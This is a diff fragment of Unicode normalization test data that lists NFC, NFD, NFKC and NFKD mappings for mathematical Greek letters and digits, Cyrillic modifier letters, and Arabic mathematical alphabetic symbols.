+{ source: [0x1D768], NFC: [0x1D768], NFD: [0x1D768], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D769], NFC: [0x1D769], NFD: [0x1D769], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D76A], NFC: [0x1D76A], NFD: [0x1D76A], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D76B], NFC: [0x1D76B], NFD: [0x1D76B], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D76C], NFC: [0x1D76C], NFD: [0x1D76C], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D76D], NFC: [0x1D76D], NFD: [0x1D76D], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D76E], NFC: [0x1D76E], NFD: [0x1D76E], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D76F], NFC: [0x1D76F], NFD: [0x1D76F], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D770], NFC: [0x1D770], NFD: [0x1D770], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D771], NFC: [0x1D771], NFD: [0x1D771], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D772], NFC: [0x1D772], NFD: [0x1D772], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D773], NFC: [0x1D773], NFD: [0x1D773], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D774], NFC: [0x1D774], NFD: [0x1D774], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D775], NFC: [0x1D775], NFD: [0x1D775], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D776], NFC: [0x1D776], NFD: [0x1D776], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D777], NFC: [0x1D777], NFD: [0x1D777], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D778], NFC: [0x1D778], NFD: [0x1D778], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D779], NFC: [0x1D779], NFD: [0x1D779], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D77A], NFC: [0x1D77A], NFD: [0x1D77A], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D77B], NFC: [0x1D77B], NFD: [0x1D77B], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D77C], NFC: [0x1D77C], NFD: [0x1D77C], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D77D], NFC: [0x1D77D], NFD: [0x1D77D], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D77E], NFC: [0x1D77E], NFD: [0x1D77E], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D77F], NFC: [0x1D77F], NFD: [0x1D77F], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D780], NFC: [0x1D780], NFD: [0x1D780], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D781], NFC: [0x1D781], NFD: [0x1D781], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D782], NFC: [0x1D782], NFD: [0x1D782], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D783], NFC: [0x1D783], NFD: [0x1D783], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D784], NFC: [0x1D784], NFD: [0x1D784], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D785], NFC: [0x1D785], NFD: [0x1D785], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D786], NFC: [0x1D786], NFD: [0x1D786], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D787], NFC: [0x1D787], NFD: [0x1D787], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D788], NFC: [0x1D788], NFD: [0x1D788], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D789], NFC: [0x1D789], NFD: [0x1D789], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D78A], NFC: [0x1D78A], NFD: [0x1D78A], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D78B], NFC: [0x1D78B], NFD: [0x1D78B], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D78C], NFC: [0x1D78C], NFD: [0x1D78C], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D78D], NFC: [0x1D78D], NFD: [0x1D78D], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D78E], NFC: [0x1D78E], NFD: [0x1D78E], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D78F], NFC: [0x1D78F], NFD: [0x1D78F], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D790], NFC: [0x1D790], NFD: [0x1D790], NFKC: [0x0391], NFKD: [0x0391] },
+{ source: [0x1D791], NFC: [0x1D791], NFD: [0x1D791], NFKC: [0x0392], NFKD: [0x0392] },
+{ source: [0x1D792], NFC: [0x1D792], NFD: [0x1D792], NFKC: [0x0393], NFKD: [0x0393] },
+{ source: [0x1D793], NFC: [0x1D793], NFD: [0x1D793], NFKC: [0x0394], NFKD: [0x0394] },
+{ source: [0x1D794], NFC: [0x1D794], NFD: [0x1D794], NFKC: [0x0395], NFKD: [0x0395] },
+{ source: [0x1D795], NFC: [0x1D795], NFD: [0x1D795], NFKC: [0x0396], NFKD: [0x0396] },
+{ source: [0x1D796], NFC: [0x1D796], NFD: [0x1D796], NFKC: [0x0397], NFKD: [0x0397] },
+{ source: [0x1D797], NFC: [0x1D797], NFD: [0x1D797], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D798], NFC: [0x1D798], NFD: [0x1D798], NFKC: [0x0399], NFKD: [0x0399] },
+{ source: [0x1D799], NFC: [0x1D799], NFD: [0x1D799], NFKC: [0x039A], NFKD: [0x039A] },
+{ source: [0x1D79A], NFC: [0x1D79A], NFD: [0x1D79A], NFKC: [0x039B], NFKD: [0x039B] },
+{ source: [0x1D79B], NFC: [0x1D79B], NFD: [0x1D79B], NFKC: [0x039C], NFKD: [0x039C] },
+{ source: [0x1D79C], NFC: [0x1D79C], NFD: [0x1D79C], NFKC: [0x039D], NFKD: [0x039D] },
+{ source: [0x1D79D], NFC: [0x1D79D], NFD: [0x1D79D], NFKC: [0x039E], NFKD: [0x039E] },
+{ source: [0x1D79E], NFC: [0x1D79E], NFD: [0x1D79E], NFKC: [0x039F], NFKD: [0x039F] },
+{ source: [0x1D79F], NFC: [0x1D79F], NFD: [0x1D79F], NFKC: [0x03A0], NFKD: [0x03A0] },
+{ source: [0x1D7A0], NFC: [0x1D7A0], NFD: [0x1D7A0], NFKC: [0x03A1], NFKD: [0x03A1] },
+{ source: [0x1D7A1], NFC: [0x1D7A1], NFD: [0x1D7A1], NFKC: [0x0398], NFKD: [0x0398] },
+{ source: [0x1D7A2], NFC: [0x1D7A2], NFD: [0x1D7A2], NFKC: [0x03A3], NFKD: [0x03A3] },
+{ source: [0x1D7A3], NFC: [0x1D7A3], NFD: [0x1D7A3], NFKC: [0x03A4], NFKD: [0x03A4] },
+{ source: [0x1D7A4], NFC: [0x1D7A4], NFD: [0x1D7A4], NFKC: [0x03A5], NFKD: [0x03A5] },
+{ source: [0x1D7A5], NFC: [0x1D7A5], NFD: [0x1D7A5], NFKC: [0x03A6], NFKD: [0x03A6] },
+{ source: [0x1D7A6], NFC: [0x1D7A6], NFD: [0x1D7A6], NFKC: [0x03A7], NFKD: [0x03A7] },
+{ source: [0x1D7A7], NFC: [0x1D7A7], NFD: [0x1D7A7], NFKC: [0x03A8], NFKD: [0x03A8] },
+{ source: [0x1D7A8], NFC: [0x1D7A8], NFD: [0x1D7A8], NFKC: [0x03A9], NFKD: [0x03A9] },
+{ source: [0x1D7A9], NFC: [0x1D7A9], NFD: [0x1D7A9], NFKC: [0x2207], NFKD: [0x2207] },
+{ source: [0x1D7AA], NFC: [0x1D7AA], NFD: [0x1D7AA], NFKC: [0x03B1], NFKD: [0x03B1] },
+{ source: [0x1D7AB], NFC: [0x1D7AB], NFD: [0x1D7AB], NFKC: [0x03B2], NFKD: [0x03B2] },
+{ source: [0x1D7AC], NFC: [0x1D7AC], NFD: [0x1D7AC], NFKC: [0x03B3], NFKD: [0x03B3] },
+{ source: [0x1D7AD], NFC: [0x1D7AD], NFD: [0x1D7AD], NFKC: [0x03B4], NFKD: [0x03B4] },
+{ source: [0x1D7AE], NFC: [0x1D7AE], NFD: [0x1D7AE], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D7AF], NFC: [0x1D7AF], NFD: [0x1D7AF], NFKC: [0x03B6], NFKD: [0x03B6] },
+{ source: [0x1D7B0], NFC: [0x1D7B0], NFD: [0x1D7B0], NFKC: [0x03B7], NFKD: [0x03B7] },
+{ source: [0x1D7B1], NFC: [0x1D7B1], NFD: [0x1D7B1], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D7B2], NFC: [0x1D7B2], NFD: [0x1D7B2], NFKC: [0x03B9], NFKD: [0x03B9] },
+{ source: [0x1D7B3], NFC: [0x1D7B3], NFD: [0x1D7B3], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D7B4], NFC: [0x1D7B4], NFD: [0x1D7B4], NFKC: [0x03BB], NFKD: [0x03BB] },
+{ source: [0x1D7B5], NFC: [0x1D7B5], NFD: [0x1D7B5], NFKC: [0x03BC], NFKD: [0x03BC] },
+{ source: [0x1D7B6], NFC: [0x1D7B6], NFD: [0x1D7B6], NFKC: [0x03BD], NFKD: [0x03BD] },
+{ source: [0x1D7B7], NFC: [0x1D7B7], NFD: [0x1D7B7], NFKC: [0x03BE], NFKD: [0x03BE] },
+{ source: [0x1D7B8], NFC: [0x1D7B8], NFD: [0x1D7B8], NFKC: [0x03BF], NFKD: [0x03BF] },
+{ source: [0x1D7B9], NFC: [0x1D7B9], NFD: [0x1D7B9], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D7BA], NFC: [0x1D7BA], NFD: [0x1D7BA], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D7BB], NFC: [0x1D7BB], NFD: [0x1D7BB], NFKC: [0x03C2], NFKD: [0x03C2] },
+{ source: [0x1D7BC], NFC: [0x1D7BC], NFD: [0x1D7BC], NFKC: [0x03C3], NFKD: [0x03C3] },
+{ source: [0x1D7BD], NFC: [0x1D7BD], NFD: [0x1D7BD], NFKC: [0x03C4], NFKD: [0x03C4] },
+{ source: [0x1D7BE], NFC: [0x1D7BE], NFD: [0x1D7BE], NFKC: [0x03C5], NFKD: [0x03C5] },
+{ source: [0x1D7BF], NFC: [0x1D7BF], NFD: [0x1D7BF], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D7C0], NFC: [0x1D7C0], NFD: [0x1D7C0], NFKC: [0x03C7], NFKD: [0x03C7] },
+{ source: [0x1D7C1], NFC: [0x1D7C1], NFD: [0x1D7C1], NFKC: [0x03C8], NFKD: [0x03C8] },
+{ source: [0x1D7C2], NFC: [0x1D7C2], NFD: [0x1D7C2], NFKC: [0x03C9], NFKD: [0x03C9] },
+{ source: [0x1D7C3], NFC: [0x1D7C3], NFD: [0x1D7C3], NFKC: [0x2202], NFKD: [0x2202] },
+{ source: [0x1D7C4], NFC: [0x1D7C4], NFD: [0x1D7C4], NFKC: [0x03B5], NFKD: [0x03B5] },
+{ source: [0x1D7C5], NFC: [0x1D7C5], NFD: [0x1D7C5], NFKC: [0x03B8], NFKD: [0x03B8] },
+{ source: [0x1D7C6], NFC: [0x1D7C6], NFD: [0x1D7C6], NFKC: [0x03BA], NFKD: [0x03BA] },
+{ source: [0x1D7C7], NFC: [0x1D7C7], NFD: [0x1D7C7], NFKC: [0x03C6], NFKD: [0x03C6] },
+{ source: [0x1D7C8], NFC: [0x1D7C8], NFD: [0x1D7C8], NFKC: [0x03C1], NFKD: [0x03C1] },
+{ source: [0x1D7C9], NFC: [0x1D7C9], NFD: [0x1D7C9], NFKC: [0x03C0], NFKD: [0x03C0] },
+{ source: [0x1D7CA], NFC: [0x1D7CA], NFD: [0x1D7CA], NFKC: [0x03DC], NFKD: [0x03DC] },
+{ source: [0x1D7CB], NFC: [0x1D7CB], NFD: [0x1D7CB], NFKC: [0x03DD], NFKD: [0x03DD] },
+{ source: [0x1D7CE], NFC: [0x1D7CE], NFD: [0x1D7CE], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7CF], NFC: [0x1D7CF], NFD: [0x1D7CF], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7D0], NFC: [0x1D7D0], NFD: [0x1D7D0], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7D1], NFC: [0x1D7D1], NFD: [0x1D7D1], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7D2], NFC: [0x1D7D2], NFD: [0x1D7D2], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7D3], NFC: [0x1D7D3], NFD: [0x1D7D3], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7D4], NFC: [0x1D7D4], NFD: [0x1D7D4], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7D5], NFC: [0x1D7D5], NFD: [0x1D7D5], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7D6], NFC: [0x1D7D6], NFD: [0x1D7D6], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7D7], NFC: [0x1D7D7], NFD: [0x1D7D7], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7D8], NFC: [0x1D7D8], NFD: [0x1D7D8], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7D9], NFC: [0x1D7D9], NFD: [0x1D7D9], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7DA], NFC: [0x1D7DA], NFD: [0x1D7DA], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7DB], NFC: [0x1D7DB], NFD: [0x1D7DB], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7DC], NFC: [0x1D7DC], NFD: [0x1D7DC], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7DD], NFC: [0x1D7DD], NFD: [0x1D7DD], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7DE], NFC: [0x1D7DE], NFD: [0x1D7DE], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7DF], NFC: [0x1D7DF], NFD: [0x1D7DF], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7E0], NFC: [0x1D7E0], NFD: [0x1D7E0], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7E1], NFC: [0x1D7E1], NFD: [0x1D7E1], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7E2], NFC: [0x1D7E2], NFD: [0x1D7E2], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7E3], NFC: [0x1D7E3], NFD: [0x1D7E3], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7E4], NFC: [0x1D7E4], NFD: [0x1D7E4], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7E5], NFC: [0x1D7E5], NFD: [0x1D7E5], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7E6], NFC: [0x1D7E6], NFD: [0x1D7E6], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7E7], NFC: [0x1D7E7], NFD: [0x1D7E7], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7E8], NFC: [0x1D7E8], NFD: [0x1D7E8], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7E9], NFC: [0x1D7E9], NFD: [0x1D7E9], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7EA], NFC: [0x1D7EA], NFD: [0x1D7EA], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7EB], NFC: [0x1D7EB], NFD: [0x1D7EB], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7EC], NFC: [0x1D7EC], NFD: [0x1D7EC], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7ED], NFC: [0x1D7ED], NFD: [0x1D7ED], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7EE], NFC: [0x1D7EE], NFD: [0x1D7EE], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7EF], NFC: [0x1D7EF], NFD: [0x1D7EF], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7F0], NFC: [0x1D7F0], NFD: [0x1D7F0], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7F1], NFC: [0x1D7F1], NFD: [0x1D7F1], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7F2], NFC: [0x1D7F2], NFD: [0x1D7F2], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7F3], NFC: [0x1D7F3], NFD: [0x1D7F3], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7F4], NFC: [0x1D7F4], NFD: [0x1D7F4], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7F5], NFC: [0x1D7F5], NFD: [0x1D7F5], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1D7F6], NFC: [0x1D7F6], NFD: [0x1D7F6], NFKC: [0x0030], NFKD: [0x0030] },
+{ source: [0x1D7F7], NFC: [0x1D7F7], NFD: [0x1D7F7], NFKC: [0x0031], NFKD: [0x0031] },
+{ source: [0x1D7F8], NFC: [0x1D7F8], NFD: [0x1D7F8], NFKC: [0x0032], NFKD: [0x0032] },
+{ source: [0x1D7F9], NFC: [0x1D7F9], NFD: [0x1D7F9], NFKC: [0x0033], NFKD: [0x0033] },
+{ source: [0x1D7FA], NFC: [0x1D7FA], NFD: [0x1D7FA], NFKC: [0x0034], NFKD: [0x0034] },
+{ source: [0x1D7FB], NFC: [0x1D7FB], NFD: [0x1D7FB], NFKC: [0x0035], NFKD: [0x0035] },
+{ source: [0x1D7FC], NFC: [0x1D7FC], NFD: [0x1D7FC], NFKC: [0x0036], NFKD: [0x0036] },
+{ source: [0x1D7FD], NFC: [0x1D7FD], NFD: [0x1D7FD], NFKC: [0x0037], NFKD: [0x0037] },
+{ source: [0x1D7FE], NFC: [0x1D7FE], NFD: [0x1D7FE], NFKC: [0x0038], NFKD: [0x0038] },
+{ source: [0x1D7FF], NFC: [0x1D7FF], NFD: [0x1D7FF], NFKC: [0x0039], NFKD: [0x0039] },
+{ source: [0x1E030], NFC: [0x1E030], NFD: [0x1E030], NFKC: [0x0430], NFKD: [0x0430] },
+{ source: [0x1E031], NFC: [0x1E031], NFD: [0x1E031], NFKC: [0x0431], NFKD: [0x0431] },
+{ source: [0x1E032], NFC: [0x1E032], NFD: [0x1E032], NFKC: [0x0432], NFKD: [0x0432] },
+{ source: [0x1E033], NFC: [0x1E033], NFD: [0x1E033], NFKC: [0x0433], NFKD: [0x0433] },
+{ source: [0x1E034], NFC: [0x1E034], NFD: [0x1E034], NFKC: [0x0434], NFKD: [0x0434] },
+{ source: [0x1E035], NFC: [0x1E035], NFD: [0x1E035], NFKC: [0x0435], NFKD: [0x0435] },
+{ source: [0x1E036], NFC: [0x1E036], NFD: [0x1E036], NFKC: [0x0436], NFKD: [0x0436] },
+{ source: [0x1E037], NFC: [0x1E037], NFD: [0x1E037], NFKC: [0x0437], NFKD: [0x0437] },
+{ source: [0x1E038], NFC: [0x1E038], NFD: [0x1E038], NFKC: [0x0438], NFKD: [0x0438] },
+{ source: [0x1E039], NFC: [0x1E039], NFD: [0x1E039], NFKC: [0x043A], NFKD: [0x043A] },
+{ source: [0x1E03A], NFC: [0x1E03A], NFD: [0x1E03A], NFKC: [0x043B], NFKD: [0x043B] },
+{ source: [0x1E03B], NFC: [0x1E03B], NFD: [0x1E03B], NFKC: [0x043C], NFKD: [0x043C] },
+{ source: [0x1E03C], NFC: [0x1E03C], NFD: [0x1E03C], NFKC: [0x043E], NFKD: [0x043E] },
+{ source: [0x1E03D], NFC: [0x1E03D], NFD: [0x1E03D], NFKC: [0x043F], NFKD: [0x043F] },
+{ source: [0x1E03E], NFC: [0x1E03E], NFD: [0x1E03E], NFKC: [0x0440], NFKD: [0x0440] },
+{ source: [0x1E03F], NFC: [0x1E03F], NFD: [0x1E03F], NFKC: [0x0441], NFKD: [0x0441] },
+{ source: [0x1E040], NFC: [0x1E040], NFD: [0x1E040], NFKC: [0x0442], NFKD: [0x0442] },
+{ source: [0x1E041], NFC: [0x1E041], NFD: [0x1E041], NFKC: [0x0443], NFKD: [0x0443] },
+{ source: [0x1E042], NFC: [0x1E042], NFD: [0x1E042], NFKC: [0x0444], NFKD: [0x0444] },
+{ source: [0x1E043], NFC: [0x1E043], NFD: [0x1E043], NFKC: [0x0445], NFKD: [0x0445] },
+{ source: [0x1E044], NFC: [0x1E044], NFD: [0x1E044], NFKC: [0x0446], NFKD: [0x0446] },
+{ source: [0x1E045], NFC: [0x1E045], NFD: [0x1E045], NFKC: [0x0447], NFKD: [0x0447] },
+{ source: [0x1E046], NFC: [0x1E046], NFD: [0x1E046], NFKC: [0x0448], NFKD: [0x0448] },
+{ source: [0x1E047], NFC: [0x1E047], NFD: [0x1E047], NFKC: [0x044B], NFKD: [0x044B] },
+{ source: [0x1E048], NFC: [0x1E048], NFD: [0x1E048], NFKC: [0x044D], NFKD: [0x044D] },
+{ source: [0x1E049], NFC: [0x1E049], NFD: [0x1E049], NFKC: [0x044E], NFKD: [0x044E] },
+{ source: [0x1E04A], NFC: [0x1E04A], NFD: [0x1E04A], NFKC: [0xA689], NFKD: [0xA689] },
+{ source: [0x1E04B], NFC: [0x1E04B], NFD: [0x1E04B], NFKC: [0x04D9], NFKD: [0x04D9] },
+{ source: [0x1E04C], NFC: [0x1E04C], NFD: [0x1E04C], NFKC: [0x0456], NFKD: [0x0456] },
+{ source: [0x1E04D], NFC: [0x1E04D], NFD: [0x1E04D], NFKC: [0x0458], NFKD: [0x0458] },
+{ source: [0x1E04E], NFC: [0x1E04E], NFD: [0x1E04E], NFKC: [0x04E9], NFKD: [0x04E9] },
+{ source: [0x1E04F], NFC: [0x1E04F], NFD: [0x1E04F], NFKC: [0x04AF], NFKD: [0x04AF] },
+{ source: [0x1E050], NFC: [0x1E050], NFD: [0x1E050], NFKC: [0x04CF], NFKD: [0x04CF] },
+{ source: [0x1E051], NFC: [0x1E051], NFD: [0x1E051], NFKC: [0x0430], NFKD: [0x0430] },
+{ source: [0x1E052], NFC: [0x1E052], NFD: [0x1E052], NFKC: [0x0431], NFKD: [0x0431] },
+{ source: [0x1E053], NFC: [0x1E053], NFD: [0x1E053], NFKC: [0x0432], NFKD: [0x0432] },
+{ source: [0x1E054], NFC: [0x1E054], NFD: [0x1E054], NFKC: [0x0433], NFKD: [0x0433] },
+{ source: [0x1E055], NFC: [0x1E055], NFD: [0x1E055], NFKC: [0x0434], NFKD: [0x0434] },
+{ source: [0x1E056], NFC: [0x1E056], NFD: [0x1E056], NFKC: [0x0435], NFKD: [0x0435] },
+{ source: [0x1E057], NFC: [0x1E057], NFD: [0x1E057], NFKC: [0x0436], NFKD: [0x0436] },
+{ source: [0x1E058], NFC: [0x1E058], NFD: [0x1E058], NFKC: [0x0437], NFKD: [0x0437] },
+{ source: [0x1E059], NFC: [0x1E059], NFD: [0x1E059], NFKC: [0x0438], NFKD: [0x0438] },
+{ source: [0x1E05A], NFC: [0x1E05A], NFD: [0x1E05A], NFKC: [0x043A], NFKD: [0x043A] },
+{ source: [0x1E05B], NFC: [0x1E05B], NFD: [0x1E05B], NFKC: [0x043B], NFKD: [0x043B] },
+{ source: [0x1E05C], NFC: [0x1E05C], NFD: [0x1E05C], NFKC: [0x043E], NFKD: [0x043E] },
+{ source: [0x1E05D], NFC: [0x1E05D], NFD: [0x1E05D], NFKC: [0x043F], NFKD: [0x043F] },
+{ source: [0x1E05E], NFC: [0x1E05E], NFD: [0x1E05E], NFKC: [0x0441], NFKD: [0x0441] },
+{ source: [0x1E05F], NFC: [0x1E05F], NFD: [0x1E05F], NFKC: [0x0443], NFKD: [0x0443] },
+{ source: [0x1E060], NFC: [0x1E060], NFD: [0x1E060], NFKC: [0x0444], NFKD: [0x0444] },
+{ source: [0x1E061], NFC: [0x1E061], NFD: [0x1E061], NFKC: [0x0445], NFKD: [0x0445] },
+{ source: [0x1E062], NFC: [0x1E062], NFD: [0x1E062], NFKC: [0x0446], NFKD: [0x0446] },
+{ source: [0x1E063], NFC: [0x1E063], NFD: [0x1E063], NFKC: [0x0447], NFKD: [0x0447] },
+{ source: [0x1E064], NFC: [0x1E064], NFD: [0x1E064], NFKC: [0x0448], NFKD: [0x0448] },
+{ source: [0x1E065], NFC: [0x1E065], NFD: [0x1E065], NFKC: [0x044A], NFKD: [0x044A] },
+{ source: [0x1E066], NFC: [0x1E066], NFD: [0x1E066], NFKC: [0x044B], NFKD: [0x044B] },
+{ source: [0x1E067], NFC: [0x1E067], NFD: [0x1E067], NFKC: [0x0491], NFKD: [0x0491] },
+{ source: [0x1E068], NFC: [0x1E068], NFD: [0x1E068], NFKC: [0x0456], NFKD: [0x0456] },
+{ source: [0x1E069], NFC: [0x1E069], NFD: [0x1E069], NFKC: [0x0455], NFKD: [0x0455] },
+{ source: [0x1E06A], NFC: [0x1E06A], NFD: [0x1E06A], NFKC: [0x045F], NFKD: [0x045F] },
+{ source: [0x1E06B], NFC: [0x1E06B], NFD: [0x1E06B], NFKC: [0x04AB], NFKD: [0x04AB] },
+{ source: [0x1E06C], NFC: [0x1E06C], NFD: [0x1E06C], NFKC: [0xA651], NFKD: [0xA651] },
+{ source: [0x1E06D], NFC: [0x1E06D], NFD: [0x1E06D], NFKC: [0x04B1], NFKD: [0x04B1] },
+{ source: [0x1EE00], NFC: [0x1EE00], NFD: [0x1EE00], NFKC: [0x0627], NFKD: [0x0627] },
+{ source: [0x1EE01], NFC: [0x1EE01], NFD: [0x1EE01], NFKC: [0x0628], NFKD: [0x0628] },
+{ source: [0x1EE02], NFC: [0x1EE02], NFD: [0x1EE02], NFKC: [0x062C], NFKD: [0x062C] },
+{ source: [0x1EE03], NFC: [0x1EE03], NFD: [0x1EE03], NFKC: [0x062F], NFKD: [0x062F] },
+{ source: [0x1EE05], NFC: [0x1EE05], NFD: [0x1EE05], NFKC: [0x0648], NFKD: [0x0648] },
+{ source: [0x1EE06], NFC: [0x1EE06], NFD: [0x1EE06], NFKC: [0x0632], NFKD: [0x0632] },
+{ source: [0x1EE07], NFC: [0x1EE07], NFD: [0x1EE07], NFKC: [0x062D], NFKD: [0x062D] },
+{ source: [0x1EE08], NFC: [0x1EE08], NFD: [0x1EE08], NFKC: [0x0637], NFKD: [0x0637] },
+{ source: [0x1EE09], NFC: [0x1EE09], NFD: [0x1EE09], NFKC: [0x064A], NFKD: [0x064A] },
+{ source: [0x1EE0A], NFC: [0x1EE0A], NFD: [0x1EE0A], NFKC: [0x0643], NFKD: [0x0643] },
+{ source: [0x1EE0B], NFC: [0x1EE0B], NFD: [0x1EE0B], NFKC: [0x0644], NFKD: [0x0644] },
+{ source: [0x1EE0C], NFC: [0x1EE0C], NFD: [0x1EE0C], NFKC: [0x0645], NFKD: [0x0645] },
+{ source: [0x1EE0D], NFC: [0x1EE0D], NFD: [0x1EE0D], NFKC: [0x0646], NFKD: [0x0646] },
+{ source: [0x1EE0E], NFC: [0x1EE0E], NFD: [0x1EE0E], NFKC: [0x0633], NFKD: [0x0633] },
+{ source: [0x1EE0F], NFC: [0x1EE0F], NFD: [0x1EE0F], NFKC: [0x0639], NFKD: [0x0639] },
+{ source: [0x1EE10], NFC: [0x1EE10], NFD: [0x1EE10], NFKC: [0x0641], NFKD: [0x0641] },
+{ source: [0x1EE11], NFC: [0x1EE11], NFD: [0x1EE11], NFKC: [0x0635], NFKD: [0x0635] },
+{ source: [0x1EE12], NFC: [0x1EE12], NFD: [0x1EE12], NFKC: [0x0642], NFKD: [0x0642] },
+{ source: [0x1EE13], NFC: [0x1EE13], NFD: [0x1EE13], NFKC: [0x0631], NFKD: [0x0631] },
+{ source: [0x1EE14], NFC: [0x1EE14], NFD: [0x1EE14], NFKC: [0x0634], NFKD: [0x0634] },
+{ source: [0x1EE15], NFC: [0x1EE15], NFD: [0x1EE15], NFKC: [0x062A], NFKD: [0x062A] },
+{ source: [0x1EE16], NFC: [0x1EE16], NFD: [0x1EE16], NFKC: [0x062B], NFKD: [0x062B] },
+{ source: [0x1EE17], NFC: [0x1EE17], NFD: [0x1EE17], NFKC: [0x062E], NFKD: [0x062E] },
+{ source: [0x1EE18], NFC: [0x1EE18], NFD: [0x1EE18], NFKC: [0x0630], NFKD: [0x0630] },
+{ source: [0x1EE19], NFC: [0x1EE19], NFD: [0x1EE19], NFKC: [0x0636], NFKD: [0x0636] },
+{ source: [0x1EE1A], NFC: [0x1EE1A], NFD: [0x1EE1A], NFKC: [0x0638], NFKD: [0x0638] },
+{ source: [0x1EE1B], NFC: [0x1EE1B], NFD: [0x1EE1B], NFKC: [0x063A], NFKD: [0x063A] },
+{ source: [0x1EE1C], NFC: [0x1EE1C], NFD: [0x1EE1C], NFKC: [0x066E], NFKD: [0x066E] },
+{ source: [0x1EE1D], NFC: [0x1EE1D], NFD: [0x1EE1D], NFKC: [0x06BA], NFKD: [0x06BA] },
